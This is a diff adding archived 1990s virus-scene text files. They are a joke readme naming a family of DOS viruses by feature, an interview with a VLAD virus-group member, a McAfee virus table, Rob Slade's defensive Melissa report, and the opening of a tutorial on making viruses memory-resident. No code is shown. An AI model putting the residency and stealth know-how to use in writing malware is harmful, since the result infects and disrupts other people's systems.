consent +of HypoDermic nor are they to be used in any destructive form! + + Who the Hell is this HypoDermic? + -------------------------------- + +Good question! Some of you already know me either by my real +handle or if you are special you know me by my real name (oooh!) +but for those who have know clue I am a lamer newbie upcoming +alternative programer with realy no future doing anything else but +virus programming. Wow! What would my therapist say about that? I +make no claims to be good because I am just learning the trade with +no formal education. But maybe someday (daydreaming...) Ill be in +one of those k-rad groups, NOT! + + Kissing Ass Section! + -------------------- +This is that section you always see at the end where I am +supposed to kiss ass to all those who help me out! Yeah right! +Well I am gonna tell ya the people who helped me know who they are +and need not be mentioned publically here except one and THIS IS +NOT A KISS ASS.....and the winner is MnemoniX for his cool beta of +Biological Warfare...You wanted some feed back check out these +files! I liked it and it is easy to use and pretty moron proof. + + Why THE MAYBERRY FAMILY? + ------------------------ + +Cause I felt that the AVer world needed another virus family +:> to keep them busy naming these fucking things. Get a clue and +go back to the Number Naming scheme and make your life easier +HeHe!! And someone already did the Adams Family (Deathboy), damn! +But be sure to watch for other families in the future; such as, The +Brady Bunch with my favorite the Groovy Marsha Virus, Beaver +Cleaver Family, The Beverly Hillbilly Family, 90210 (make me vomit), +Melrose Place, Cosby Family (have to include all ethnic families), +The Family Ties Family, and any other fucking TV show with a family I +can think of. Maybe you AVers may just have to have a Parent Family +name and call it TV Spoof Virus (TSV!!) maybe Ill copyright that +parent name hmmmm!!! I should have mentioned that I watch way to much +TV and not enough time programming. This show is one of the classics +so I present you with the Mayberry Family. + + How about a quick breakdown of the cast? + ----------------------------------------- + +This will save some of you "researchers" especially you self +appointed ones some time which correct me if I am wrong but that +would be about all of you! + +Andy: Memory resident, COM & EXE infector. Very simple Andy was + a example of a fine citizen of Mayberry a role model for + us all. Andy hated alternative programmer deep down + inside and vowed to lock us up in his maximum security + jail. Hehehe. + +Barney: Non-Resident, COM infector, encryption, anti-trace, + directory transversal, with improved Dir stealth. One + bullet Barn is a sneaky little devil. I wonder if he + ever T-ed up Velmalou? + +Opy: Memory resident, COM infector, anti-trace. What a little + rascal (hey there's another Family for me to create The + Little Rascals) that opy was always the loyal son. I bet + Opy wouldn't ever code virus in our times cause his Pa + wouldn't allow it. + +AuntB: Non-Resident, COM & EXE infector, directory + transversal, with improved Dir stealth. Everone needs an + aunt like AuntB to wipe there asses, pack there + lunches, and make good 'ol family dinners. Hmmmm with an + aunt like that who needs computes and all this high tech + modern crap. + +Floyd: Non-Resident, EXE infector. Would you let a Fuck + like that cut your hair? + +Otis: Non-Resident, COM & EXE infector, encryption, + directory transversal. Be careful this fat sloopy drunk + is liable to infect your whole fucking system with one + looonnnggg belt of moonshine! + +MissCrump: Memory Resident, COM & EXE infector, anti-trace, + Dir stealth. Miss Crump that little vixen, has always + turned my crank! I bet she's a go-er! Andy should have + tooled her when he had the chance. + +Velmalou: Non-Resident, COM infector, directory stealth. She was a + little too mousey for me but I am sure one of you other + perverts thought she was the end all of country women. + +Jethro: Non-Resident, COM infector, encryption. WAIT a Cotton + picking minute he ain't no member of the Mayberry Family, + you might say!!! Well Ill tell ya there is a lot of + inbreeding happening way down south and you can never be + to sure (Andy and him looked alot a like and he was as + dumb as GoMer and he let Floyd cut his hair you can tell + by the part on the side it is Floyd's trade mark!) We + may never know what realy happened by that cement pond??? + I guess this could be one of those virus that could be + considered as part of several families until someone + renames it! :> + +Goober: Memory Resident, COM & EXE infector, encryption, + anti-trace, improved Dir Stealth. Goober falls into the + same catagory as Floyd...would you let this fuck fix your + car if YES ill sell you my entire virus collection for + $100 dollars. I personally would let him fix my car + right after he performs brain surgery on one of my loved + one, NOT!!! + +GoMer: Non-Resident, COM & EXE infector, Dir stealth. Well + Gooolllyyy!!! What a knob! He kinda reminds of a few of + the people I know in the virus scene not to point any + fingers but you know who you are. + + + + Well Thats All!! + ---------------- + + Well I hope I remembered all the Family if I find a few more Ill +be sure to send them on there way. You can never tell who is +truely related to who. Be Sure to watch for more Lame TV Family +Virus!!! Some of these scan and some don't some are lame and others +are lamer. + + + +HypoDermic =============>PUT THE NEEDLE IN!!!! + + + + + +P.S. BTW, there is no destructive routines in any of the Mayberry + Family! Could you honestly see anyone from the cast causing + harm to another person? It would be like someone actually dying + on the A-TEAM (hey hey there's another one for me!) + + +P.S.P.S. Hope you enjoyed this Spoof! + + diff --git a/textfiles.com/virus/mbinterv.iew b/textfiles.com/virus/mbinterv.iew new file mode 100644 index 00000000..6ba25017 --- /dev/null +++ b/textfiles.com/virus/mbinterv.iew @@ -0,0 +1,296 @@ +Metabolis is an Australian guy. He formed Vlad (Virus Labs and Distribution) +some while ago. Vlad is ofcos a viruswriting group. This group (vlad) releases +a magazine. Metabolis duty in Vlad, is pretty much alike my position in IR. +He organize some things, keep the group releasing things, and code some +stuff. Metabolis is also a very nice guy. If someone want to get a closer view +who this guy is, read the vlad magazine's (two issue's relesed..), or get +on IRC #virus, in where, he spend quite some time. + +TU = The Unforgiven +MB = Metabolis + +TU> Gimme a short intruduction of you you are! + +MB> Well heh I'm 18, basically I sit at the computer most of my + spare time, I don't do much coding.. just enough to keep Qark + happy :) hehe. My job's more the promotional side of things, + getting people to grab our magazine etc. Not much time for + hobbies when I'm always trying to get on IRC as much as I can + :) but hmm I go to the occasional rave party.. that's pretty + cool. I don't work, at the moment I'm trying to finish a + course at college. Not doing too well since I'm hardly there + but hey, I'll get there :). + +TU> Any thoughts behind that handle, Metabolis? + +MB> The thing I really hate, is thinking up handles. I've had + quite a few over the last few years and I was sort of running + out of things to use. So I just opened my age old box of ZX + Spectrum 48k computer games and saw one called Metabolis. End + of story! :) + +TU> When did you discovered the world of computers, and why did + you start with this expensive shitty hobby? + +MB> I've always liked being part of a group, there's a central + goal and it gives you something to do, and if you're good at + what you do.. there's a slight self satisfaction kick involved. + So one time I figured it'd be cool to have a go at this virus + business, I wasn't too serious since I could hardly code + assembler at all, but heh I did it. Then one day someone told + me I should talk to Qark cos he's into virus stuff too. I got + hold of him and yep, he was pretty good. From there we set + out to make the vlad magazine, we weren't really aiming at + such a global scale as what we ended up with. + +TU> So.. why did you start creating viruses? + +MB> Hmm I wasn't too interested with the coding side of things + originally, just the scene and organisation etc. I wrote the + pascal one in vlad#1 because I dunno, I felt I had to + contribute something and at the time I knew nothing about + assembler. Then Qark came round and went through a parasitic + .COM infector with me and hey presto, I get it now :) So I + guess that was when I had the ability to. Prodigy 3.0 was an + ok virus, not the best but I wasn't really aiming at it being + a classic, more for other people as shit as me at it to learn + from. That's one of the things we're all about. + +TU> Have you been involved in any other group that Vlad? + +MB> Let's just say I've tried many different things, and they + always seemed to collapse in my face. VLAD has been good, + there have been no problems, no abuse from anyone :). We + actually have respect from some people which is good. + +TU> What's the groups goal? + +MB> Our goal really is to teach others how this virus shit is + done.. to promote our country :). erm, I dunno that's about + it really. We'll keep coding/writing until we have no more ideas + I guess. Which should be quite a few more issues yet. + +TU> Why did you decided to release a magazine? I mean, you could as well + release a package of viruses, etc. if it only was for the viruswriting + itself.. + +MB> Well that's just it you see, originally I couldn't really + write much in the way of virus code. I just knew a fair + amount of what went on in the scene etc. Most of my + contributions to the magazine have been articles virus related + but not code. So yeah, a magazine seemed right. We have + things to say so we needed a medium through which we could + portray this. + +TU> Are you planing to expand? + +MB> We did go on a member haul a while back but I think we're + pretty much settled now with four. There are two others that + might be joining soon but I think the ranks are full :). So, + nah we're not really looking for anyone to join right now. + Might do in the future.. we'll see. + +TU> Are you into other things in the underground computing, such as + hacking, phreaking, etc? Or are you _solely_ a viruswriting group? + +MB> I guess you could say I'm into it, I've read quite a large + amount of text files on various things, and have tried a bit + of this and that, but nothing serious. I only bother when it + serves a purpose. No need getting myself in trouble just for + the fuck of it :). + +TU> How many viruses have you in person written? + +MB> Well I'll only count my assembler ones :) erm.. 5 I think, + but they're very simple. Two of them I never bothered + releasing (they were overwriting :). The other three, being + Prodigy 3.0, Rod Fewster's Gonads (bwahahaha) and my + contribution for the next magazine Overdrive. + +TU> Which one was the hardest to write? + +MB> Overdrive, my latest was the hardest. Doing the xor + encryption I found a daunting task to begin with, it took me + quite some time to get it to work :). It wasn't that + difficult though, but I am at a basic stage still. + +TU> What do you think of the term non-destructive virus, or even a GOOD virus? + +MB> I think the term non-destructive virus applies to all of + VLAD's creations! :) You won't find any formatting or random + sector writes in our code. hmm I wrote an article on this + very question I believe hehehe. In different people's eyes + the word GOOD (when applied to a virus) can mean different + things. Some see just the fact that a virus has appended to a + file thus altering it's contents to be BAD. Whereas I would + see this as good since it can most probably be removed if the + need arises. + +TU> Do you have any sort of company or law-enforcement who are trying + bust Vlad? + +MB> No, not that I know of. If there was I most probably + wouldn't know, not having any "contacts" etc in any law + enforcement agencies. We haven't done anything wrong so there + isn't much reason for any law enforcement dudes to be + interested in what we're doing. + +TU> What's your opinion about making viruswring illegal? + +MB> It would be like making any coding illegal, i.e. not + possible! A more underground virus scene (than it already is) + perhaps would be a good thing. It would kill a lot of the + lamers that hang around :). + +TU> Do you spread your viruses in programs? + +MB> Well.. that's just it, if we started doing that we definately + would have law enforcement agencies on our tail. No, we don't + bother to release our viruses to the public through any sort + of software (except our magazine of course :). If any + infections occur overseas it's the readers, not us heh. A + much safer situation to be in. + +TU> What's your opinion about newspaper, and computer-mags writing stuff + about the virus scene? + +MB> So long as the shit isn't prejudiced or one of these + virus=gun and virus author=murderer type article I have no + problems with that. Unfortunately most of the time it is + exactly the opposite of how I like it :( + +TU> What do you think they, can do to improve the quality of the material + published? + +MB> First get an understanding of what they're crapping on about, + it seems most just talk to the AV ppl, and leave the VX out of + it totally. This sorta makes us look like bad guys and + basically a bunch of assholes. Which is not the case :) + +TU> Why do you think most reporters often twist one's words around, cutting + quotes and in nearly all possible way, without lying, making us look + very bad? + +MB> It sucks, nothing else to say about it really. It's not just + the fact that they lie and twist what you say. Like, say if + they told you they wouldn't print your real name etc, they + don't. They print your school/uni, your height, your looks + etc etc. The press are mostly a bunch of wankers :) + +TU> Has the scene in any way influented on your real life? + +MB> I guess it has, I never used to bother about internet + before. I was just a local modem type person. Now I try and + spend as much time on there (in IRC) as I can! My phone bill + has gone up so you're right about it costing me money hehe. + +TU> Does your parents, close relatives, know what you're doing behind + the computer? + +MB> Yeah, my parents know what I do. + +TU> So.. what's their opinion about it? + +MB> They don't mind at all so long as I don't get our computers + infected :). They're fairly computer literate. + +TU> Whould you feel guilty if one of your viruses made damage to a + hospital, or if someone DIED bcos of your virus? For example, + knocking down the the server to 911, or something like that? + +MB> Hmmm our viruses should just infect and sit there, I guess + they might cause destruction somehow but it's pretty + unlikely. If it did, then it would be because of lack of + virus security at the hospital or the 911 server! No foreign + disks etc blah blah, that sort of shit.. usually that will fix + things up for them. Sure I'd feel guilty but I don't think my + parasitic .COM infectors will do much :) + +TU> Do you like, or admire any virusprogrammer? + +MB> Sure there are plenty, anyone who has made a worthwhile + contribution to the scene. I admire Talon being the best + virus coder in Australia (well that's what I reckon!). hehe + he'd really like to read this now I think. + +TU> What do you think it takes to become a respected virus writer? + +MB> To become respected, you have to try and do what no one else + has done! I may not have come up with anything brilliant but + I did think up a few heurstics dodging methods when I wrote + Prodigy 3 (hehe check out face of death/80hex for it :) + [* Hrm, only 80hex, which was more or less a trojan.. - TU *] + Or if you can't think of anything new, just keep turning out as many + (non ripped) viruses as you can! VCL/G2/PS-MPC/NRGL/IVP hacks + get lower than zero respect from me. + +TU> What's your opinion about the anti-virus persons? + +MB> I find most to be self righteous and arrogant. They never + listen to what virus authors have to say, they just keep + maintaining that we're bad and they're good. Well, it's time + to start thinking about who pays their wages :). + +TU> which anti-virus product do you prefer? + +MB> I like tbav for its heuristics, they are an endless supply of + fun to think of how to code around them. I like f-prot for + the lengthy virus names (great for scanning collections with + :). Also AVP has some really good VSUM-like descriptions in + it. They are the only ones I ever bother to execute. + +TU> Do you think there ever going to be a av-program able + to guarantee 100% safety agains all viruses, worms and trojans + for all future? + +MB> No, nothing can be 100% there will always be a way. I'm sure + viruses will grow in size to get around these things but still + they will always be around. + +TU> Do you know/heard of any new virus writing technique + +MB> I hear of a lot of things, various stealth things.. but never + see any proof. Our flash bios infector was a new virus, not + really in technique just the infection media (had to be said :). + Bios and sector level stealth is what I hear about most, quite + a few people reckon they've found new methods for this, but + like I said, have yet to see anything. + +TU> Any advice to people who want's to learn the basic of virus-writing? + +MB> Sure, stick to it! After I learnt how the basics were done, + I never bothered to keep on with it. I'm too lazy really + hehe. Just read as many virus writing guides as you can, they + never really helped me but they might someone. The best thing + is for someone to actually sit down with ya and show you how + it's done on the spot, I'd been trying to learn for ages and + when Qark went through it with me, it was like an instant + recognition of all the wrong shit I'd been doing. + +TU> Something else you wish to say, but never before have had the opportunity + to say? + +MB> Not really, I tend to say what I want in our magazine :) + although.. here's something I'd like to say in your magazine :) + you can email any member of VLAD at these addresses + meta@tempest.rhn.orst.edu + qark@tempest.rhn.orst.edu + darkman@tempest.rhn.orst.edu + automag@tempest.rhn.orst.edu + and if you don't have our magazines you can grab them at + ftp: ftp.netcom.com /pub/bradleym/misc-zines + or if you can IRC you can get them from VLADdist (my robot) + They should be available on any decent VX BBSs anyway. + +TU> Any helloes or goto hell messages? :) + +MB> Ah, I know so many people these days.. hello to everyone I + know, to those I don't try and get in touch with me :). + Always happy to hear comments/suggestions from people. (no + abuse mail please :). As to goto hell messages.. well, hmm I + can think of a few, but I'll hold back I think .. don't need + any wars starting now do we hehe. + +TU> Well, that's it Metabolis.. thanks for your time. + (typing /exit.. :) ) +-------------------------------------------------------------------------------- diff --git a/textfiles.com/virus/mcaffvirus.txt b/textfiles.com/virus/mcaffvirus.txt new file mode 100644 index 00000000..f42665c9 --- /dev/null +++ b/textfiles.com/virus/mcaffvirus.txt @@ -0,0 +1,118 @@ + + + VIRUS CHARACTERISTICS LIST V56 + Copyright 1989, McAfee Associates + 408 988 3832 + + The following list outlines the critical characteristics of the known +IBM PC and compatible viruses. + +========================================================================== + +Infects Fixed Disk Partition Table-------------------+ +Infects Fixed Disk Boot Sector---------------------+ | +Infects Floppy Diskette Boot --------------------+ | | +Infects Overlay Files--------------------------+ | | | +Infects EXE Files----------------------------+ | | | | +Infects COM files--------------------------+ | | | | | +Infects COMMAND.COM----------------------+ | | | | | | +Virus Remains Resident-----------------+ | | | | | | | +Virus Uses Self-Encryption-----------+ | | | | | | | | + | | | | | | | | | + | | | | | | | | | Increase in + | | | | | | | | | Infected + | | | | | | | | | Program's + | | | | | | | | | Size + | | | | | | | | | | + | | | | | | | | | | +Virus Disinfector V V V V V V V V V V Damage +----------------------------------------------------------------------------- +Taiwan CleanUp . . . x . . . . . 708 p +Chaos MDISK . x . . . . x x . N/A B,O,D,F +Virus-90 CleanUp . x . x . . . . . 857 P +Oropax CleanUp . x . x . . . . . 2773 P,O +4096 CleanUp . x x x x x . . . 4096 D,O,P,L +Devil's Dance CleanUp . x . x . . . . . 941 D,O,P,L +Amstrad CleanUp . . . x . . . . . 847 P +Payday CleanUp . x . x x x . . . 1808 P +Datacrime II-B CleanUp x . x x x . . . . 1917 P,F +Sylvia/Holland CleanUp . x . x . . . . . 1332 p +Do-Nothing CleanUp . . . x . . . . . 608 p +Sunday CleanUp . x . x x x . . . 1636 O,P +Lisbon CleanUp . . . x . . . . . 648 P +Typo/Fumble CleanUp . x . x . . . . . 867 O,P +Dbase CleanUp . x . x . . . . . 1864 D,O,P +Ghost Boot Version MDISK . x . . . . x x . N/A B,O +Ghost COM Version CleanUp . . . x . . . . . 2351 B,P +New Jerusalem CleanUp . x . x x x . . . 1808 O,P +Alabama CleanUp . x . . x . . . . 1560 O,P,L +Yankee Doodle CleanUp . x . x x . . . . 2885 O,P +2930 CleanUp . x . x x . . . . 2930 P +Ashar CleanUp . x . . . . x . . N/A B +AIDS CleanUp . . . x . . . . . Overwrites Program +Disk Killer CleanUp . x . . . . x x . N/A B,O,P,D,F +1536/Zero Bug CleanUp . x . x . . . . . 1536 O,P +MIX1 CleanUp . x . . x . . . . 1618 O,P +Dark Avenger CleanUp . x x x x x . . . 1800 O,P,L +3551/Syslock CleanUp x . . x x . . . . 3551 P,D +VACSINA CleanUp . x . x x x . . . 1206 O,P +Ohio MDISK . x . . . . x . . N/A B +Typo (Boot Virus) MDISK . x . . . . x x . N/A O,B +Swap/Israeli Boot MDISK . x . . . . x . . N/A B +1514/Datacrime II CleanUp x . . x x . . . . 1514 P,F +Icelandic II CleanUp . x . . x . . . . 661 O,P +Pentagon MDISK . . . . . . x . . N/A B +3066/Traceback M-3066 . x . x x . . . . 3066 P +1168/Datacrime-B CleanUp x . . x . . . . . 1168 P,F +Icelandic CleanUp . x . . x . . . . 642 O,P +Saratoga CleanUp . x . . x . . . . 632 O,P +405 CleanUp . . . x . . . . . Overwrites Program +1704 Format CleanUp x x . x . . . . . 1704 O,P,F +Fu Manchu CleanUp . x . x x x . . . 2086 O,P +1280/Datacrime CleanUp x . . x . . . . . 1280 P,F +1701/Cascade CleanUp x x . x . . . . . 1701 O,P +1704/CASCADE-B CleanUp x x . x . . . . . 1704 O,P +Stoned/Marijuana CleanUp . x . . . . x . x N/A O,B,L +1704/CASCADE CleanUp x x . x . . . . . 1704 O,P +Ping Pong-B CleanUp . x . . . . x x . N/A O,B +Den Zuk MDISK . x . . . . x . . N/A O,B +Ping Pong CleanUp . x . . . . x . . N/A O,B +Vienna-B CleanUp . . . x . . . . . 648 P +Lehigh CleanUp . x x . . . . . . Overwrites P,F +Vienna/648 M-VIENNA . . . x . . . . . 648 P +Jerusalem-B CleanUp . x . x x x . . . 1808 O,P +Yale/Alameda CleanUp . x . . . . x . . N/A B +Friday 13th COM CleanUp . . . x . . . . . 512 P +Jerusalem CleanUp . x . x x x . . . 1808 O,P +SURIV03 CleanUp . x . x x x . . . O,P +SURIV02 CleanUp . x . . x . . . . 1488 O,P +SURIV01 CleanUp . x . x . . . . . 897 O,P +Pakistani Brain CleanUp . x . . . . x . . N/A B + + +Legend: + +Damage Fields - B - Corrupts or overwrites Boot Sector + O - Affects system run-time operation + P - Corrupts program or overlay files + D - Corrupts data files + F - Formats or erases all/part of disk + L - Directly or indirectly corrupts file linkage + +Size Increase - The length, in bytes, by which an infected + program or overlay file will increase + +Characteristics - x - Yes + . - No + +Disinfectors - SCAN/D - VIRUSCAN with /D option + SCAN/D/A - VIRUSCAN with /D and /A options + MDISK/P - MDISK with "P" option + All Others - The name of disinfecting program + Note: + The SCAN /D option will overwrite and then delete the + entire infected program. The program must then be + replaced from the original program diskette. If you wish + to try and recover an infected program, then use the + named disinfector if available. +[3] Tfiles: (1-8,?,Q) : \ No newline at end of file diff --git a/textfiles.com/virus/mdef.inf b/textfiles.com/virus/mdef.inf new file mode 100644 index 00000000..3f65696e Binary files /dev/null and b/textfiles.com/virus/mdef.inf differ diff --git a/textfiles.com/virus/melissa.txt b/textfiles.com/virus/melissa.txt new file mode 100644 index 00000000..70d39435 --- /dev/null +++ b/textfiles.com/virus/melissa.txt @@ -0,0 +1,277 @@ +http://www.melissavirus.com/ +----------------------------------------------------------------- Date: Mon, 5 +Apr 1999 05:01:14 -0700 From: secedu@all.net Subject: Information Security +Educators Mailing List 1999-03-30 +--------------------------------------------- +>From: "Rob Slade, doting grandpa of Ryan and Trevor" +Date: Tue, 30 Mar 1999 16:51:23 -0800 + +The Melissa macro virus +A report prepared by Robert M. Slade + + +The following is an attempt to bring together the information about +the Melissa virus. It is taken from the most reliable available +sources. Additional sites have been listed at the end of the article. +I have not added a copyright line to this message in order to allow it +to be used as needed. I will be posting the latest updated version of +this article at http://sun.soci.niu.edu/~rslade/melissa.txt and +http://victoria.tc.ca/techrev/melissa.txt. + + +The virus, generally referred to as W97M.Melissa.A (with some +variations: Symantec, in a rather strained effort to be cute, seems to +be calling it "Mailissa"), is a MS Word macro virus. This means that, +if you don't use Word, you are safe. Completely safe. (Except for +being dependent upon other people who might slow their/your mail +server down. More on that later.) If you need to look at MS Word +documents, there is a document viewer available (free, as it happens) +>from Microsoft. This viewer will not execute macros, so it is safe +>from infection. + +In the messages about Melissa, there have been many references to the +mythical and non-existent "Good Times" virus. Note that simply +reading the text of a message still cannot infect you. However, note +also that many mailers, in the name of convenience, are becoming more +and more automated, and much of this automation concerns running +attached files for you. As Padgett Peterson, author of one of the +best macro virus protection tools, has stated, "For years we have been +saying you could not get a virus just by "opening E-Mail. That bug is +being fixed." + +Melissa does not carry any specifically damaging payload. If the +message is triggered there will be text added to the active document. +The mailout function can cause a large number of messages to be +generated very quickly, and this has caused the shutdown of a number +of corporate mail servers. + +If you have Word set with macros disabled, then the virus will not +active. However, relying on this protection is a very dangerous +proposition. Previous macro viruses have also killed macro protection +in Word, and this one does as well. + +The name "Melissa" comes from the class module that contains the +virus. The name is also used in the registry flag set by the virus. + +The virus is spread, of course, by infected Word documents. What has +made it the "bug du jour" is that it spreads *itself* via email. We +have known about viruses being spread as attachments to email for a +long time, and have been warning people not to execute attachments (or +read Word documents sent as attachments) if you don't know where they +came from. Happy99 is a good example: it has spread very widely in +the past month by sending itself out as an email attachment whenever +it infects a system. + +Melissa was originally posted to the alt.sex newsgroup. At that time +it was LIST.DOC, and purported to be a list of passwords for sex +sites. I have seen at least one message theorizing that Melissa is +someone's ill-conceived punishment for viewers of pornography. This +hypothesis is extremely unlikely. Sending a virus to a sex related +newsgroup seems to be a reliable way to ensure that a number of stupid +people will read and/or execute your program, and start your new virus +off with a bang. (No pun intended.) + +If you get a message with a Melissa infected document, and do whatever +you need to do to "invoke" the attachment, and have Word on your +system as the default program for .doc files, Word starts up, reads in +the document, and the macro is ready to start. If you have Word's +"macro security" enabled (which is not the default) it will tell you +that there is a macro in the document. Few people understand the +import of the warning, and there is no distinction between legitimate +macros and macro viruses. + +Because of a technical different between normal macros and "VBA +objects," if you ask for a list of the macros in the document, Melissa +will not show up. It will be visible if you use the Visual Basic +Editor, but only after you have loaded the infected file. + +Assuming that the macro starts executing, several things happen. + +The virus first checks to see if Word 97 (Word 8) or Word 2000 (Word +9) is running. If so, it reduces the level of the security warnings +on Word so that you will receive no future warnings. In Word97, the +virus disables the Tools/Macro menu commands, the Confirm Conversions +option, the MS Word macro virus protection, and the Save Normal +Template prompt. It "upconverts" to Word 2000 quite nicely, and there +disables the Tools/Macro/Security menu. + +Specifically, under Word 97 it blocks access to the Tools|Macro menu +item, meaning you cannot check any macros. It also turns off the +warnings for conversion, macro detection, and to save modifications to +the NORMAL.DOT file. Under Word 2000 it blocks access to the menu +item that allows you to raise your security level, and sets your macro +virus detection to the lowest level, that is, none. (Since the access +to the macro security menu item is blocked, I do not know how this +feature can be reversed, other than programmatically or by +reinstallation.) + +After this, the virus checks for the +HKEY_CURRENT_USER\Software\Microsoft\Office\Melissa?\ registry key +with a value of "... by Kwyjibo". (The "kwyjibo" entry seems to be a +reference to the "Bart the Genius" episode of the "Simpsons" +television program where this word was used to win a Scrabble match.) + +If this is the first time you have been infected (and this "first +time" business is slightly complicated), then the macro starts up +Outlook, in the background, and sends itself as an attachment to the +"top" 50 names in *each* of your address lists. (Melissa will *not* +use Outlook Express.) Most people have only one (the default is +"Contacts"), but if you have more than one then Outlook will send more +than 50 copies of the message. Outlook also sorts address lists such +that mailing lists are at the top of the list, so this can get a much +wider dispersal than just fifty copies of the message/virus. There +was also a mention on one message about MAPI and Exchange servers, +which may give access to a very large number of mailing lists. From +other reports, though, people who use Exchange mail server are being +particularly hard hit. Then again, people who use Exchange are +probably also standardized on Word and Outlook. + +Some have suggested setting this registry key as a preventative +measure, but note that it only prevents the mailout. It does not +prevent infection. If you are infected, and the registry key is +removed at a later date, then a mailout will be triggered the next +time an infected document is read. + +Once the messages have been sent, the virus sets the Melissa flag in +the registry, and looks for it to check whether or not to send itself +out on subsequent infections. If the flag does not persist, then +there will be subsequent mass mailings. Because the key is set in +HKEY_CURRENT_USER, system administrators may have set permissions such +that changes made are not saved, and thus the key will not persist. +In addition, multiple users on the same machine will likely each +trigger a separate mailout, and the probability of cross infection on +a common machine is very high. + +Since it is a macro virus, it will infect your NORMAL.DOT, and will +infect all documents thereafter. The macro within NORMAL.DOT is +"Document_Close()" so that any document that is worked on will be +infected when it is closed. When a document is infected the macro +inserted is "Document_Open()" so that the macro runs when the document +is opened. + +Note that *not* using Outlook does not protect you from the virus, it +only means that the 50 copies will not be automatically sent out. If +you use Word but not Outlook, you will still be infected, and may +still send out infected documents on your own. The virus also will +not invoke the mailout on Mac systems, but definitely can be stored +and resent from Macs. At this time I do not have reliable information +about whether it can reproduce on Macs (there is one report that it +does), but the likelihood is that it can. + +Vesselin Bontchev has noted that the virus never explicitly terminates +the Outlook program. It is possible that multiple copies may be +invoked, and may create memory problems. However, this has not been +confirmed, and is not probable given the "first time" flag that is +set. + +The message appears to come from the person just infected, of course, +since it really is sent from that machine. This means that when you +get an "infected" message it will probably appear to come from someone +you know and deal with. The subject line is "Important Message From: +[name of sender]" with the name taken from the registration settings +in Word. The test of the body states "Here is that document you asked +for ... don't show anyone else ;-)". Thus, the message is easily +identifiable: that subject line, the very brief message, and an +attached Word document (file with a .doc extension to the filename). +If you receive a message of this form *DO NOT OPEN THE DOCUMENT WITH +WORD!* If you do not have alternate means or competent virus +assistance, the best recourse is to delete the message, and +attachment, and to send a message to the sender alerting them to the +fact that they are, very likely, infected. Please note all the +specifics in this paragraph, and do not start a panic by sending +warnings to everyone who sends you any message with an attachment. + +However, please also note that, as with any Word macro virus, the +source code travels with the infection, and it will be very easy to +create modifications to Melissa. (The source code has already been +posted to one Web site.) We will, no doubt very soon, start seeing +many Melissa variants with different subjects and messages. There is +already one similar Excel macro virus, called "Papa." The virus +contains the text "Fred Cohen" and "all.net," leading one rather +ignorant reporter to assume that Fred was the author. Dr. Cohen was +the first person to do formal research into viral programs. + +There is a message that is displayed approximately one time in sixty. +The exact trigger is if the current system time minute field matches +the current system time day of the month field when the virus is run. +In that case, you will "Twenty-two points, plus triple-word-score, +plus fifty points for using all my letters. Game's over. I'm outta +here." typed into your document. (This is another reference to the +"Simpsons" episode referred to earlier.) + +One rather important point: the document passed is the active +document, not necessarily the original posted on alt.sex. So, for +example, if I am infected, and prepare some confidential information +for you in Word, and send you an attachment with the Word document, +containing sensitive information that neither you nor I want made +public (say, the fact that Bill Gates is a jerk for having designed +the technology this way), and you read it in Word, and you have +Outlook on your machine, then that document will be mailed out to the +top 50 people in your address book. + +Rather ironically, a clue to the identity of the perpetrator may have +come from the identification number embedding scheme recently admitted +by Microsoft as having been included with Office and Windows 98. + +A number of fixes for mail servers and mail filtering systems have +been devised very quickly. However, note that not all of these have +fully tested or debugged. One version that I saw would trap most of +the warning messages about Melissa. + +Note that any Word document can be infected, and that an infected user +may unintentionally send you an infected document. All Word +documents, and indeed all Office files, should be checked for +infection before you load them. + + +Information and antiviral updates (some URLs are wrapped): + +http://www.cert.org/advisories/CA-99-04-Melissa-Macro-Virus.html + +http://www.ciac.org/ciac/bulletins/j-037.shtml + +ftp://ftp.complex.is/pub/macrdef2.zip + +http://www.complex.is/f-prot/f-prot.html + +http://chkpt.zdnet.com/chkpt/hud0007500a/www.zdnet.com/zdnn/stories/ +news/0,4586,2233030,00.html + +http://www.zdnet.com/zdnn/special/melissavirus.html + +http://www.symantec.com/techsupp/mailissa.html + +http://www.antivirus.com/vinfo/security/sa032699.htm + +http://www.avp.com/melissa/melissa.html + +http://www.microsoft.com/security/bulletins/ms99-002.asp + +http://www.sendmail.com/blockmelissa.html + +ftp://ftp.rubyriver.com/pub/jhardin/antispam/procmail-security.html + +http://www.innosoft.com/iii/pmdf/virus-word-emergency.html + +http://www.sophos.com/downloads/ide/index.html#melissa + +http://www.avertlabs.com/public/datafiles/valerts/vinfo/melissa.asp + +http://www.pcworld.com/cgi-bin/pcwtoday?ID=10302 + +http://www.internetnews.com/bus-news/article/0,1087,3_89011,00.html + +http://cnn.com/TECH/computing/9903/29/melissa.copycat.idg/ + +http://www.pcworld.com/cgi-bin/pcwtoday?ID=10308 + + +====================== (quote inserted randomly by Pegasus Mailer) +rslade@vcn.bc.ca rslade@sprint.ca robertslade@usa.net p1@canada.com + AV tutorial : http://victoria.tc.ca/techrev/mnvrcv.htm +http://victoria.tc.ca/techrev or http://sun.soci.niu.edu/~rslade +--------------------------------------------- + + + + diff --git a/textfiles.com/virus/memres.txt b/textfiles.com/virus/memres.txt new file mode 100644 index 00000000..2119a0ca --- /dev/null +++ b/textfiles.com/virus/memres.txt @@ -0,0 +1,185 @@ +Memory Residence Methods. +----------------------------------------------------------------- + + In this article, I'll try to explain the more common methods +used to make viruses go resident. The focus will be more on the +practical than the theoretical, leaving clear the fundamentals so +that you can take advantage of them, especially in the case of the +MCB. The article will show examples of the two techniques +described which can (in the case of the MCB) be directly applied to +your own viruses. The theory is not very detailed, but everything +a beginner needs to know to use these methods is present. With the +information the article provides, the beginner who wishes to get +deeper into the theory can simply read a guide or manual on memory +residence, since the necessary basics are explained here (I hope). + +Let's begin: + The most used methods to make a virus go resident are: + o those available through DOS or + o the MCB (Memory Control Block) method. + + The former is the simplest way to do it, but also the most +inefficient because it informs DOS it's leaving something behind in +memory. Besides, when you execute this function, control is +returned to DOS. Whatever program you attempt to run will +terminate! The virus which uses this technique must re-execute +itself to avoid exiting to DOS during it's installation into +memory. To remain resident, it executes itself again (service 4bh) +and during it's second execution it hooks Int27h or calls service +31 of Int 21, in it's turn giving control to the "father" program +(the one loaded first). The father program can then end, executing +the host. If this isn't done (like when executing Int 21), control +would be passed to the command interpreter. + + One characteristic of viruses which use this technique is that +they tend to attach to the beginning of the file; these services +will resident the amount of required from the beginning of the file +in memory.... If we have a 50K .COM and the virus is at the end, +and we use Int 27 to attempt to leave resident 1K, for example, +what would be placed in memory would be the first K of the COM, not +the virus. Obviously, we can't just leave 50K resident.... we can +make the virus go resident we can move (it?) to another block, 